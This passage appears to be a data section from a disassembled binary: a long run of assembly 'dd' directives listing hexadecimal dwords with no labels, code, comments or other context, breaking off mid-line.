0E7E6D500h, 7BCB29A3h, 255A414h, 376B35C9h dd 0AC753840h, 0F7EAA8A3h, 60F4B486h, 0CD242B73h, 965838A3h dd 92327148h, 6D952474h, 6678896Ch, 5D1E2C1Eh, 3190F467h dd 14D00628h, 0A4BE304Bh, 0D529E6E0h, 0F85B6E31h, 10252855h dd 0E4971418h, 4E8B2034h, 0B6567514h, 181026ECh, 94CBEB0Ah dd 0F0FAA38Ah, 0A04C920Ch, 0F0A44884h, 0B57A01E0h, 50578130h dd 12B5815h, 0DE78EB9Eh, 24960BA3h, 7D48BE24h, 38401234h dd 0A6AACC09h, 0F8109F50h, 83963BDh, 0E028ADD9h, 0DAF8FCB7h dd 2B197C98h, 4F2032ECh, 9A839434h, 3091249Ch, 289E1B48h dd 0F3430BF1h, 2119519Bh, 75D033A1h, 0F9B038BFh, 5E462B48h dd 876F2490h, 6BD0828h, 4857D9ABh, 0ECF92328h, 8410CB6Eh dd 0C0C34F69h, 1A613703h, 52764318h, 0E09C0814h, 4AEE1F90h dd 0C66AAB06h, 8D3C24C8h, 849B1414h, 81A12B0Ch, 1066D710h dd 0A338A4E0h, 0D4191800h, 8016486Dh, 1161CBF0h, 62B02B10h dd 65059841h, 673BC08Ch, 10C396D8h, 30FE0F8Bh, 0B483930h dd 30C91B7Ch, 0ABDC079Dh, 0A00664E5h, 7428B130h, 0C6BE819Bh dd 0BA7D2C41h, 0EF1D1260h, 8A1CE406h, 0E9C326A0h, 18E818C8h dd 6665B16Bh, 8805BEE0h, 0D40E288Bh, 9EDA84Bh, 0E0039E70h dd 28141AE2h, 19A8627Eh, 0C610F60Dh, 0E2EB1030h, 0E268CD19h dd 0F6D8F010h, 1CE498A0h, 25EC58CBh, 5C93306Ch, 5709263Bh dd 0F74B0650h, 4824103Ah, 0F873EC30h, 4D12BD9Bh, 0B414045Ch dd 8BA0143Ch, 0EF204617h, 0BBD52050h, 8153EB23h, 70DED916h dd 0CF50058h, 0C0744272h, 1711BC7Eh, 2495814Fh, 7CF06B7Ch dd 710018A5h, 634B1ABFh, 28F490FCh, 48F8E628h, 8B090C07h dd 6825E9EAh, 4F9004F8h, 0C4440A56h, 8DD1123Eh, 14C85450h dd 7CA40F4Bh, 6BA02F50h, 7802763Ah, 30FFAE24h, 2B08D118h dd 72AA2650h, 30575874h, 9155EB37h, 727C3B41h, 93C02432h dd 2503771Dh, 0C2BE9A40h, 0EE7A8BB8h, 0F849C105h, 0D5942E36h dd 0DCC528FCh, 209ACB2Eh, 3884A035h, 0C9012C8Bh, 2BB9D84Dh dd 0DC1D019Ah, 0CABB08Ah, 54C30CE4h, 8A647A60h, 18D33418h dd 8B6816FCh, 0B1B849B6h, 575F2422h, 8503B467h, 186B845Bh dd 0B8BD35C9h, 0FA624C4Bh, 837F7058h, 26EBDDBCh, 925CBF08h dd 2CF412D3h, 0D11689F4h, 68446DBEh, 0A08078D5h, 0C54B3E8Bh dd 38802758h, 0BE0ADAA8h, 0BC27ECB9h, 0FC1EF50Ah, 0C0466F92h dd 6808B02Dh, 58DC4884h, 40315D20h, 4895C950h, 9C817462h dd 8A1614F0h, 902AB520h, 8450B09h, 0E558C028h, 94BB12A0h dd 6044649h, 0C829C8F2h, 62457CECh, 18A4CD83h, 30357581h dd 0D4A3BB0Bh, 4A8C57A1h, 3613017Ch, 9BA15CECh, 0C057F442h dd 0C2284B08h, 9F5F4FA1h, 148788E5h, 2A95D981h, 0D45FDC4Ah dd 1991CB05h, 79E89038h, 0CC635277h, 0F98B3161h, 48804E18h dd 93100CB1h, 61F59886h, 7C8B90E3h, 19C889AAh, 0FE3807F4h dd 0B571885Ah, 0FF835BD8h, 64AC9501h, 0F38224h, 0AE748763h dd 39510B1Ch, 0F4A7C337h, 385565B5h, 0B21E6D80h, 2920FD5Ah dd 60140A55h, 7EB8A8Eh, 75E44A50h, 78558929h, 0DFB29247h dd 81C491ECh, 98C38C64h, 5CA5E8E8h, 0D5E02883h, 1F208ED9h dd 1A352C4Ah, 0A18B095Ch, 486A489h, 75260867h, 1D71808Eh dd 0A8B8FCC4h, 0C565D5B4h, 8429CB28h, 16E42C58h, 0CEA76E15h dd 5DF50A90h, 6B05F846h, 6C70710Eh, 28B3B5E2h, 0A58034CFh dd 0C899E8Ch, 0B521DF6Ch, 14B86749h, 3880DAC4h, 71D8D0EEh dd 6467DCA9h, 62626658h, 40E1B208h, 988BA454h, 944D5D38h dd 0F4597C7Dh, 0FC28E9DDh, 160FE3B0h, 559C1E54h, 6018AA33h dd 8B080C23h, 0E510136Eh, 133C704Ch, 0E80B3FC6h, 3668A5B9h dd 1CEBB403h, 0A22034A6h, 888CC208h, 0E8602059h, 91AD2EB9h dd 60691804h, 624C738Bh, 5B46E08Ch, 64CF59D5h, 0C3A1671Eh dd 7134D97Bh, 586284D0h, 19CEFF0Fh, 6C76607Fh, 58F89048h dd 0E50068A0h, 0C44F75F4h, 14A45991h, 0AD1022E8h, 450164B9h dd 843E4997h, 0E4588A30h, 7260187Eh, 88619896h, 4E32125h dd 28BB4060h, 5E1120D0h, 20C58502h, 984D243Eh, 116BD14h dd 0F5600B73h, 4C36517h, 12B65470h, 0C54144D4h, 5028AF68h dd 0E780BEEFh, 17F7A265h, 44F540A5h, 52008047h, 0A2BDAE20h dd 50217ACh, 643E266Bh, 0A5DC386Ah, 95B37518h, 5245E528h dd 0B480783Fh, 2602B55Fh, 0BC006DFCh, 3D9111DDh, 752621Ch dd 2C44A437h, 0C66A308Fh, 0CC75223Ah, 0EC79DC01h, 63F59DA6h dd 72301448h, 2D962077h, 717C3Fh, 0B8989D91h, 90833DA5h dd 0D57D3F32h, 1F5D01F4h, 0BCFDA6EEh, 284AC3h, 5C075696h dd 6A9746h, 0A6F1089Ch dd 721C851Dh, 3CA95F03h, 0E875EABh, 0A89E6909h, 0C0AAFB47h dd 0A464B63Eh, 11A61E33h, 4008DEB8h, 4207DE4Ch, 5ED057AFh dd 0DE81A00h, 3EE5073Ah, 507C400Eh, 1EABC6B4h, 14A82429h dd 0D66ABB00h, 120EEAEh, 0C53E057Fh, 4D377EABh, 0F044F828h dd 28C41272h, 3C1124A5h, 0EA055FC0h, 28C12A92h, 0A40186C5h dd 941C36FDh, 2C0D63Ch, 657C9C0Bh, 0E13C086Ch, 0FDE3A022h dd 0D385009Ch, 0EDA0CE3Dh, 30C626DDh, 1F62DE08h, 263EA414h dd 0F4C2DF70h, 12BAA42h, 40ADB125h, 48A8FB9Ch, 6C80FE42h dd 99ED2A4Eh, 1E4530C0h, 15DF721Dh, 30AB5AFDh, 0D7E2BCCEh dd 0E502EF88h, 0BFE88254h, 802C9B3Dh, 0FFCFF0h, 0FBCA0310h dd 800C0EB7h, 0F9A34500h, 0A53736E0h, 9F70002Eh, 0F1501668h dd 31C0E1C3h, 0C0E4D75Bh, 30452961h, 728D0114h, 7CF29h dd 11838A3Bh, 0C048A1C0h, 1E0FD435h, 0CADB03CCh, 0F9B3D59Bh dd 23384282h, 0F0CF1854h, 4F7B501Ch, 81C08C08h, 26E2EE49h dd 422E7578h, 0BAF75D66h, 0FCB68364h, 0BB290C10h, 1C78DED7h dd 0A0147974h, 0A0442452h, 2055AB95h, 1B3109ECh, 7A80300Ch dd 82B4813h, 0CE0174A0h, 0C31B8847h, 0CFC0FB03h, 4F4740F9h dd 99870303h, 2818C9A4h, 0E891695Bh, 0C0F201ECh, 20F6CB42h dd 55398754h, 6A312A6h, 2CD2A8A9h, 4F3D007Ah, 446472EFh dd 0F73F2FE1h, 542D8AE4h, 20021812h, 80D0480Fh, 5134D208h dd 320830A4h, 4FE62B08h, 0CE4510DFh, 578023A6h, 3260FEh dd 0F7812D75h, 499615CBh, 5BD00600h, 9E3E72DAh, 0A44E0EC8h dd 0CB600A93h, 0E396E8Fh, 0CFAB3806h, 188DC82h, 8A073668h dd 80BF876Dh, 1CB68970h, 0B2DC712h, 9A489DEAh, 502E0C75h dd 9B15004Dh, 0E67DA083h, 0E7006293h, 121B2664h, 0BC680h dd 5343DBEDh, 3E566FC4h, 0CB5D5200h, 85F45C71h, 420D0049h dd 634CAD72h, 7A01BE4Fh, 3C2F7520h, 58F0E483h, 0D897005Ch dd 9310A9B2h, 0EC003FD7h, 6D404663h, 14BD7Bh, 413D04Fh dd 0DB99735Ch, 0DA633D00h, 0D2EC7D6Bh, 0AAA70018h, 396760F9h dd 0A0B08A3Eh, 0D47258F8h, 8E99A60h, 2569E0h, 932BE56Eh dd 0F4CAEE9h, 0CF53F500h, 3F0AC4E8h, 37F70354h, 48C32939h dd 61A0A880h, 9A3D5900h, 58AEF508h, 0FC690030h, 0E9338CE7h dd 430096C1h, 5504D64Ah, 5082C5h, 8A95D4B9h, 7249EC6Ah dd 3773F900h, 1D3AF0DAh, 32F0A8CAh, 0B3940264h, 0CD5F0EBDh dd 0D8240449h, 853AF677h, 0B84B006Eh, 978E93A7h, 208A001Fh dd 0A45EF828h, 7D060170h, 4EBFF63Dh, 0B5510C51h, 1B11A9BAh dd 0A65A1400h, 98CA585h, 0A39B01E2h, 0A9BD5FD5h, 0A742FC55h dd 432B39CFh, 0E1CBA518h, 70FC7640h, 0FF370016h, 9D8B4548h dd 3AFC5F46h, 8A002DE8h, 0F4248985h, 30F78C0Ah, 0E048A56Ch dd 961E0352h, 7EC13F9Dh, 355173C8h, 0BB88D880h, 3C47F13h dd 56A67600h, 1A244E63h, 7811C60Ch, 0FA004999h, 2B0545C8h dd 714486h, 0F1D5685Ah, 6B083D5Eh, 5F04A1FEh, 9522DF18h dd 0BB637C90h, 6CE40376h, 891D45B9h, 0B5C11800h, 0B0CEE1BDh dd 81F200CBh, 87A4204Fh, 5558C263h, 99BD0060h, 6DBEBC37h dd 0A3DA075Eh, 0A0E156E3h, 68BFC706h, 0CEA1900h, 97CFCA8h dd 0B5AA0F79h, 8AA30FACh, 4B900142h, 371CEBD0h, 1899865Eh dd 2F084D28h, 843FB344h, 31BAC610h, 0B25F7108h, 454D4104h dd 0CE424308h, 6F252266h, 0B9BB4A00h, 93141DE4h, 5A0D8058h dd 2DCE4481h, 25E81900h, 0EAABF45Bh, 7F120575h, 0C0AC7E62h dd 0FB1A8995h, 0A6A1010Fh, 694280BDh, 0AD7F3Eh, 0BF3EEB0h dd 0DC6D4C54h, 0E87B9600h, 101FC963h, 28040038h, 0B04A8526h dd 0B200DBC2h, 0DD58EC4Fh, 22BA50h, 13613981h, 7BC4B4E4h dd 80DFC73Bh, 239254EAh, 0E0D9C6Eh, 43032193h, 27CE6C60h dd 0AF00E539h, 37D3F75Eh, 0E4B1A7E0h, 0CC7E0BB6h, 2B80C5BFh dd 5A69BB85h, 6C630400h, 4E0523C0h, 86310072h, 0E66122E1h dd 0F600B3CCh, 49A8027Fh, 0EEF094B5h, 3EC700CAh, 5AAD70DBh dd 0D70066AEh, 84F98999h, 7F59ABBh, 66D4B4Dh, 85ABE04Fh dd 7B1FD015h, 56400118h, 412DA4F3h, 1FC33F42h, 2A985000h dd 0E2174CABh, 0F2E0DB60h, 6A8D01h, 65917110h, 0EE6B2A4h dd 0E3FC620Ch, 0A570C3h, 4058907Bh, 226D4A63h, 2AFF6004h dd 640207DEh, 28002ED2h, 0E05D5936h, 45010347h, 7FABCC53h dd 109D7688h, 0EDDBC000h, 9C724CD8h, 8010DDE5h, 0FA563A7Ch dd 0EB00C19Dh, 64CA0824h, 1D099F8h, 0D6498641h, 803183F9h dd 5E6156C8h, 0E91B6B8h, 1BA6886Bh, 0C563A520h, 4D007205h dd 87293E43h, 0CAF91Dh, 9250C646h, 45D0CDAFh, 833DFD00h dd 0E75FFE2Eh, 14D40B39h, 70000372h, 91D09EE9h, 0F8602807h dd 0E13095BCh, 0B891A97h, 36DD4AB3h, 8DD3AB00h, 0AC5805DCh dd 8B603C7Fh, 83F08646h, 0ED9A31D9h, 290881FFh, 8842F42Ah dd 0C8B82800h, 433F81A3h, 0A6D1072Bh, 3027D5C6h, 0DC33738Eh dd 0F1E4E800h, 0BEBFA34Dh, 776A0147h, 0C7823667h, 0A22870C5h dd 1CD76B07h, 98F0E680h, 73F22703h, 0C31507F5h, 40931DCCh dd 9A8E16C9h, 3A0085E0h, 98BCB3E9h, 75326D94h, 3C221EABh dd 0CC8C80ACh, 867ED0C8h, 6EC21100h, 624CB2C5h, 0B8470368h dd 72BDE379h, 1D049E88h, 0DE885B00h, 0F2B60382h, 7A3C00D5h dd 734C57FBh, 0AB00C115h, 4220C530h, 0E1E09EAh, 13AC11FDh dd 0A418420h, 70003DF3h, 0C97E60D4h, 0F453069h, 0EACE3252h dd 26BC6E0h, 757B883Ch, 0C1349900h, 0F31EB6E9h, 6F660025h dd 4E40E39Fh, 0E0F06990h, 1FC7F800h, 72984945h, 0F2C401E7h dd 0DB7D3B2Fh, 0EBF8202Dh, 96D6022Ch, 3F1DC600h, 0E5274A6h dd 2513FE4Ch, 406D6181h, 0DBBBDCD4h, 80EE813Fh, 0CE476CF2h dd 74B59378h, 2873E9h, 76D0EB1Bh, 30646B46h, 8424BF7Dh dd 232890C7h, 0B099412h, 0DA2C6800h, 5AF7BBh, 0EB4847D9h dd 77CB3C70h, 0DC0088E8h, 5156CED4h, 1AF263Eh, 12833167h dd 0DCDDA3F8h, 0E100669Dh, 7F562F46h, 3D6B6538h, 0B7BCB4CBh dd 73F44501h, 2071774Dh, 673CE399h, 0FD0C0028h, 81B7ED12h dd 55FB00BDh, 0DC04CFDDh, 9A3AE1F0h, 0E75E2CB2h, 3A6B4B00h dd 755B47BDh, 0FCD00025h, 0C221BC12h, 0B7B81A13h, 87B0500h dd 0BA43F936h, 2BFC007Fh, 0C27AD39Ch, 921EAB25h, 0D2019D1Dh dd 0DCA5DE65h, 907F6C24h, 0A6CA8A0h, 630D0EFAh, 13E0B2B9h dd 84557CEBh, 0C42CF40Eh, 4840524Bh, 939CDE53h, 0CD7C0237h dd 0D065CC9Bh, 0CA4881C0h, 89982A00h, 0BE0CA872h, 9E3A0022h dd 73301BBh, 6300266Fh, 993819F9h, 7BA30E6h, 105AE32h dd 0BCA4109Fh, 4B0091A3h, 0D3C882F3h, 4C7DCD9Bh, 0E500E483h dd 0DEAB6510h, 0F47EE3EEh, 2445FF00h, 25FDC14h, 804F0019h dd 0B0FA916Ah, 7839FEBBh, 0EBD200DAh, 0FCB26C31h, 9E4C2E1Bh dd 0A7960066h, 0CD26301Ch, 53200CC0h, 13496F87h, 0F7BFA02h dd 0FE078B5Ch, 65AB80E4h, 9A00E323h, 57754448h, 0F8339E13h dd 0A1FE39h, 78F48338h, 0E33ED670h, 72679100h, 0AF68A05Ch dd 0F3630090h, 5D6AB409h, 0E43F6D1Ch, 0F0E787C2h, 0FB00EF24h dd 0B0294FC5h, 0ABDD1D1Dh, 127BFA59h, 5D39F3h, 467D9B8Ch dd 9F0062DBh, 2EBA4E13h, 2ACA268h, 0CC5E8F8Ah, 0C0688979h dd 800E7EFh, 44F5BF80h, 0ACEAC9h, 2EFF1181h, 0CDF31C29h dd 76D30402h, 60061B27h dd 0EC0B9C1h, 0A1116DFBh, 6C52FE60h, 467C4A15h, 33BCCD00h dd 193A44B1h, 16101237h, 0FED3001Ch, 0C4FF626Ch, 12EE45F8h dd 0B759B728h, 0C346E700h, 7AB38274h, 60F2E5C1h, 3CB2DE4h dd 0CF623B43h, 0CAC0BDB6h, 7D07E4D7h, 0D0D9C03Eh, 9AB49F40h dd 0DF7200FFh, 6849DDABh, 4102D821h, 0F9256B2Ah, 1BD08066h dd 672985h, 0A9E1289Eh, 0FEF4F54Dh, 0B138E8F6h, 92958FD8h dd 0DC001D70h, 2A1F088Bh, 0F2FCE5D7h, 0F04D0039h, 0DB75BF46h dd 5800997Ch, 6D47CE1Ah, 219F274h, 3E95F4FAh, 6DE024E9h dd 4900F7C8h, 60DD86DFh, 4D1026h, 0ED81171Dh, 0D2AA4878h dd 6D6B6907h, 0C0FE4112h, 0A2A5C197h, 1D8A01E1h, 0C26C6F33h dd 0F5AAECABh, 11192F03h, 9914D774h, 0B8E0CAD9h, 5EBB3BE0h dd 0F0152500h, 8648EBA0h, 92DDED00h, 6728BDF4h, 65970001h dd 0C6522B54h, 0D85C7EBCh, 3BF00C2h, 9618D74h, 6DB90069h dd 2906EC20h, 81003EEBh, 53EDB75Eh, 7A07D4h, 0BA5FF4A6h dd 6E157FE5h, 0A8CF10DFh, 2650646Fh, 1A7583h, 9E357129h dd 0B5EBF038h, 31A45100h, 0E4BC49C1h, 0B8A1FF5h, 0FEEAC3DAh dd 96301793h, 0F101387Bh, 0D37BD1h, 0BB78678Eh, 243F71F6h dd 5AEE8F1Ch, 0ED08EFC0h, 2C3CA5C2h, 3FDD3E2Dh, 2485C800h dd 4D26DA83h, 9FA0A10Bh, 9B45031Fh, 0A4C2F861h, 5A820097h dd 1877FE03h, 0BB03E4A8h, 9A728F7Bh, 0F7D4C8FBh, 320400C3h dd 2B3FD65h, 700F843h, 6CE4BEA7h, 0FCE07B94h, 98F73E8Ah dd 1E3D7800h, 0FD733F63h, 74E1A01Ch, 2D9C4247h, 3A7F43Eh dd 9872B70h, 0F882DB5Fh, 719B39h, 88E950D2h, 2E41A043h dd 3B350D00h, 1DFEAAACh, 742800A1h, 1182D3E5h, 0C2007550h dd 0C6E7154Ah, 2722B21h, 0D9E02A4Eh, 405DA15Ch, 528907h dd 61B6E884h, 1533CF18h, 9278CA00h, 726BDFFEh, 83931F3Fh dd 941FC03Ah, 0D34C7A64h, 38A74F01h, 7D8BE5CAh, 0EBC79C30h dd 3785D8h, 861DDE90h, 12A42005h, 0D00152E6h, 0FE66672Ch dd 5BD08FEBh, 0F48370CAh, 6D1B017Ah, 0E7E5310Fh, 33C1C08Dh dd 697BC41Fh, 29AD0Eh, 0D5C53993h, 7D7200A7h, 0C491089Fh dd 0A4002832h, 5C4A860Dh, 456348h, 5D0393AEh, 0E6F1902Eh dd 344E8A03h, 0D8FA7C75h, 7526601h, 0A87E5173h, 2628F09Fh dd 30003BFCh, 8A4277Dh, 0CFB2C6h, 0D6F61E1h, 89216A32h dd 9E7A6D03h, 0C00BEA76h, 787B48E3h, 85343EFFh, 7A62B400h dd 4BB72B3Eh, 0A801E40Fh, 0A78960FCh, 0D50506h, 0EAEE4183h dd 16E892DAh, 70C030DCh, 78095634h, 30F7086h, 0C958CC57h dd 82A01C01h, 3058B24Dh, 0B89A0515h, 0E000A251h, 0DD387780h dd 0A0075047h, 0ADBE016Ch, 0E20DE958h, 0BB17C921h, 3CEA8E60h dd 6414E150h, 9D60430Ah, 7757B96h, 0C139186h, 0F430609Dh dd 6D70A9DDh, 0BFCB7200h, 0B6638AA8h, 0DAF431h, 18FE0607h dd 0AC9C0B21h, 60FA8000h, 0AE67F709h, 0A6BC00CEh, 8F85CB69h dd 0E0072B6h, 0C91A18A3h, 3C3789Fh, 89F6B02Dh, 88F0BE28h dd 973D8F02h, 0CC0101F2h, 8926F7Ah, 6A37D0h, 3CB8FC15h dd 9EC685E3h, 0A9596C01h, 8BD3B998h, 28A534E0h, 0C87E1Fh dd 0EDB8C9E9h, 0E2729FECh, 67605800h, 0E524E5Ah, 3D4C0059h dd 0EE71F533h, 0F85C5EA5h, 7E851CE6h, 44B89D80h, 3B049AFh dd 41FEBF35h, 0B5D86BC9h, 4F00A381h, 900F15ACh, 701E1Fh dd 22571248h, 73A58BE3h, 6810C100h, 0EE2F5F9Ch, 2CE500A3h dd 75F33E4Fh, 770695B0h, 9033293Ch, 0B74A005Eh, 9FC2F7F4h dd 6E038E63h, 7BF55788h, 51BD90D0h, 3AC40737h, 77E2FC46h dd 56EB3047h, 62C5BEEh, 800F3C3h, 0A7F5F792h, 0B18000C5h dd 0DA694818h, 227471D5h, 0BCA030FEh, 150036B6h, 0E8CE6DA6h dd 27C55D2h, 44A7E314h, 67482726h, 3200B316h, 34DC9BACh dd 20E6ECh, 545551E1h, 0F517EB6Fh, 8A092701h, 35A6119Fh dd 39B70FCh, 0B6DD499Dh, 9EC82142h, 70BF62CAh, 768F00DDh dd 0E7A9EF98h, 0A812CC55h, 0DA00D4B6h, 6BF07275h, 0A01301FDh dd 6501F227h, 7957208Eh, 6DF11A1Dh, 72B35240h, 16E4D693h dd 4B025h, 0D4467F6Fh, 0FF0386B1h, 0E676A971h, 0A594A036h dd 0EEC900F6h, 479E54B6h, 0AA008CDDh, 1E3F61EDh, 87B22h dd 45893EEFh, 0F41F05D2h, 0B0422E00h, 7E17E5B6h, 119D0706h dd 0E0604E63h, 5A404756h, 0F1EC4A00h, 0D6249AA9h, 2D7F2C91h dd 0CC8E00A2h, 3EDA89FDh, 5FF63000h, 5A4EB960h, 0B2FF0716h dd 6B6704DDh, 0FB4A0180h, 0B30094FCh, 684E5DF1h, 73E12C52h dd 0E47B00BAh, 88A950A8h, 37019CB5h, 594AC1A3h, 5C20339Bh dd 487D0026h, 1BCA4E62h, 0E0003C36h, 0F4D30732h, 343F98Dh dd 0ADE52A12h, 1CF0853Fh, 1400C8FEh, 8A572D48h, 0F341F5h dd 5B5628ACh, 4A84929Eh, 1D6C2E00h, 4C02B8CFh, 41550040h dd 1ED4B1ADh, 100C3AEFh, 70A77DA8h, 16E0098h, 0E270E4D1h dd 7F1C2C1Eh, 6386F228h, 0F5082C1h, 0EB161D01h, 807D6465h dd 6C54EF1h, 842B4238h, 204C7F8Dh, 0F1A53080h, 37DA00D0h dd 0CF5136DEh, 5F0089D9h, 28127DF5h, 74993F54h, 0AC6C0031h dd 84B23F4h, 1700DC58h, 0F3A02E07h, 0E87BFFh, 0A27DE06Ch dd 0F874EE0Eh, 65309D00h, 103699D4h, 0DEFB0113h, 0A7CA1A7Bh dd 80CC45FDh, 33AB839Ah, 0B2018DF4h, 0F48FE389h, 73F871EEh dd 59148C2h, 841E3500h, 0E43D1ABFh, 83EE0F3Ch, 0CDE2F985h dd 1BDEE099h, 0CBE500BEh, 7F234B15h, 0B000BD86h, 3AB5A027h dd 6B51FAh, 9158CEF2h, 8B7FDEEBh, 9DC63Bh, 61BF565Ah, 7DBDF235h dd 0DEEA014Ah, 0EC93A821h, 0FD8EEC31h, 0A4869600h, 0B0E53F9Eh dd 8878C0h, 0CF68333Ch, 7987AEE6h, 0AD0090E2h, 0E341EC15h dd 84BD31h, 0C719D65Ch, 1C52ABCDh, 6143Fh, 0EDF02A7Bh dd 1096E10h, 0F3CBB8E4h, 0DCA4FCAEh, 8032349h, 0D0205E3Dh dd 0A1EE81E8h, 0E1C95C30h, 0FC1812F0h, 39C800CBh, 23CA28A0h dd 73003E2Ah, 30AD2F3Bh, 92989Bh, 11DDB812h, 0D429BF5Bh dd 8FFD3400h, 45C07C5Ch, 0ECB4A18Ah, 6210CCh, 0F984FC98h dd 11E1BC2Ah, 73639E1Eh, 5E8275C0h, 0B08B686Ch, 285A07D0h dd 0C0028E1Ch, 4D79849h, 1D9A4103h, 0F03612D6h, 199B3F9h dd 892AD96Fh, 0E4B4DD07h, 2200BA59h, 43CFD0BBh, 319CAC3h dd 5D80A1F3h, 6788AE29h, 70033891h, 36ED4F2h, 4AC3901Eh dd 0FA4E0009h, 7B012F44h, 625894DBh, 6ED6032Eh, 0DB896326h dd 1DE898ACh, 0C05C07FAh, 0D07A987Fh, 8542F2CAh, 84339F00h dd 40FC0B3Bh, 0A92B00BFh, 79CEE520h, 3E1E2717h, 99DDA722h dd 0CC49063Ch, 0D01690h, 2567CF83h, 2AAF06DCh, 91AA4B00h dd 240BB503h, 11200053h, 25524F18h, 6C0F8C8Eh, 61ABC474h dd 0C2099D8Fh, 0A6A4B03Eh, 0DF783C00h, 950CC7F3h, 176401CBh dd 0E8E18387h, 26B07F73h, 94390035h, 14516D2Eh, 0E500C4FBh dd 0A57E824h, 0D51D98h, 0EBB16465h, 926C55BEh, 6D90DDFEh dd 32ED4707h, 57522B67h, 0C448607Dh, 911300FFh, 4DBCEBA9h dd 930046DEh, 33ED7928h, 3EC8A1C5h, 6C805F0Fh, 86EC45CEh dd 7F00F6CCh, 89233D2Bh, 398A23Eh, 481FF942h, 17993B38h dd 3FF2F346h, 0B4D70C0h, 9F9E4000h, 0EE1C4B8Bh, 1468001Ah dd 3FB2A00Eh, 0EF009931h, 62F0F941h, 289EB7DFh, 37E6880Ch dd 30A01276h, 7C4F38DBh, 8CFF3B00h, 0E84C1CF6h, 865035Bh dd 0B320015Dh dd 1FAAB680h, 404BC11Dh, 0F4819D40h, 32A886Bh, 9AD233D5h dd 0E4C8D1EBh, 0AC002ECEh, 37D7BD48h, 77CE1D3h, 0AAA795CBh dd 2C46F0C8h, 0E7007156h, 225AAF8Bh, 6554C3h, 760C9C6Dh dd 0D12BB810h, 0F20071E0h, 0BE780514h, 949D1Fh, 26C59690h dd 8AC1FA11h, 4EB3F000h, 0D0D5ED38h, 0F46E2C97h, 0FEE20065h dd 60313301h, 322B770Ah, 2D00ECD6h, 9312CA6Bh, 9B6E0087h dd 0D70DC26Fh, 0B4005AC9h, 4060B3D0h, 98FC6B3Fh, 8055397Fh dd 0C766A800h, 31BC987Ch, 2B6E3700h, 3B701C97h, 0F672004Dh dd 6143D82Ch, 35FE7885h, 9A4E4F00h, 1F215D1Ah, 4ADB0198h dd 0AFB4F934h, 75DCDCCBh, 0B29C9100h, 0C2F430BAh, 0A079002Fh dd 0BE6425EEh, 9A0065A5h, 0E9057E07h, 3E4D2C48h, 0FE800AB7h dd 5F321182h, 790057B3h, 1EE79226h, 55074CDh, 8A161762h dd 8B86809Bh, 881FEFD9h, 2B5D0510h, 856FE780h, 0DE75F0h dd 0F5074A14h, 3D9F4469h, 512D5B1Fh, 0AA852444h, 0B5A180FBh dd 0E87CE645h, 21DDF900h, 0DB0CAF25h, 0A66A0369h, 1E317BC9h dd 0B0E6CB88h, 0EA10AE00h, 0ECFCD8A9h, 97EB0567h, 0C03B79A8h dd 538772ACh, 0DEACE301h, 0C0773863h, 4B6540EAh, 2BFA14FBh dd 0F205A07Fh, 0C0BFB351h, 5963C3A7h, 5DDDC801h, 6CFAC406h dd 2E5E70h, 0BF9EFB5Eh, 55EBAA2Ah, 0DD42D500h, 98D1A06Eh dd 0A3D40078h, 0A5E472ABh, 0E6001AFEh, 0EEB7AEA1h, 3A6AE0h dd 589E1D2Ah, 7CFF9068h, 0E998E506h, 0F605B3Fh, 0DAB3DD7Dh dd 5004EA9h, 5EF7AE10h, 4FCC500Fh, 0F1F60008h, 18D17996h dd 988EDC94h, 9009995h, 0B07114FBh, 1729D91h, 0F9253BD4h dd 0E1358C5Eh, 16DBCCDDh, 6942FA03h, 0B0DADF7Dh, 0EAF75EFBh dd 0E36D1864h, 2D0751FEh, 6E1B00Ch, 728117Dh, 0C9C8FDE2h dd 64FA5356h, 80DB10E1h, 0AA9CE131h, 0A0258877h, 1FFCBF64h dd 0DC2AABh, 0D8A37E79h, 9500C7EAh, 5E904A18h, 961C54h dd 0FEA4934Ch, 8F4525B6h, 0D5BE6000h, 9BB55287h, 7D0E008Ah dd 55C5069Dh, 6A004C95h, 0FFD7104Dh, 0CB4741h, 0C8537C86h dd 0D1125CF3h, 0EB003E72h, 7E9FC25Bh, 76407BAh, 0FF6BE440h dd 17DAC0ACh, 0AE008CC0h, 0C8A06190h, 3C5A23h, 0E85F50D3h dd 0E2353875h, 0E9C4F200h, 0DDC7A89h, 0DB303DC1h, 0BD265A80h dd 8BDE1C15h, 8350A978h, 84A071D1h, 927059F8h, 170CC30Ah dd 4740A0A7h, 7BCC53Ch, 89B0C737h, 0D303D028h, 0FF001F66h dd 4C3810C6h, 567FAh, 0F302B0F2h, 756C32C0h, 0D77FD2Eh dd 3DB87D03h, 34400AD6h, 94B45D96h, 76B8046Ch, 3143FCA3h dd 9C04BE04h, 6F694117h, 95C929E0h, 6F9AD002h, 0C06BC5A1h dd 0E259EF84h, 412500A2h, 4F6C20EEh, 0EC001884h, 89D86934h dd 0CBA8356h, 8BC3DED7h, 2D00F228h, 0A269477Ch, 0F57246h dd 50349E38h, 0D3455D10h, 138F1519h, 67D81720h, 0D91629FFh dd 0E548C120h, 0DB0C9Dh, 0FD4F6BE8h, 693A2C88h, 381BA70Ch dd 72C86Ah, 0EB8C0CE9h, 6F87F8B8h, 8D501CF0h, 0D300F408h dd 5E407099h, 0E07FCD9Dh, 0EF1E0EF2h, 280F60AEh, 0DE970C80h dd 24E4AD25h, 0FA0993Ch, 5823C527h, 828E6E60h, 3C1AF3C0h dd 3A2BEF00h, 96CE8619h, 0EC28C3C8h, 50A611D3h, 0E2B48F54h dd 60591D14h, 0F6AA2CA8h, 465FD600h, 7C3EAEB7h, 2F61C0C3h dd 865E43C4h, 0F6B873Ch, 0A2DEBF1h, 688020EDh, 0D479B5CFh dd 364385F6h, 0E3B02AB1h, 0D0350120h, 0A60FCC40h, 52101F87h dd 4C0A6B0h, 0BCE66AF1h, 0C10E7C84h, 91442441h, 0C041006Fh dd 0AC722Dh, 0EA659CC8h, 3711567Eh, 9001E70h, 0A7D9679Eh dd 7CD32057h, 2D460025h, 0A2646586h, 0FB78D6A0h, 70481B08h dd 85C7ADh, 0EF58D6D8h, 0FC8A147h, 0C7814284h, 46F72082h dd 0CCE10010h, 0D64ABD62h, 643EAEECh, 212144F8h, 0C487A281h dd 208A20C9h, 4C3235C0h, 0C4EF47E8h, 0F439A878h, 0AA3A6DAEh dd 41501119h, 0E279FBA1h, 20D86E39h, 750E0191h, 0A618AE1Bh dd 53100F32h, 480A65Ah, 0AD3C5F44h, 42AF7CECh, 73B09476h dd 8B232671h, 61FBE219h, 0CB8820B3h, 7915B8E7h, 0B140EFEBh dd 204A11BFh, 0B6A78F05h, 0D86078A9h, 0A8C0CA50h, 0E438AD12h dd 988FB800h, 909E31B4h, 24F700E0h, 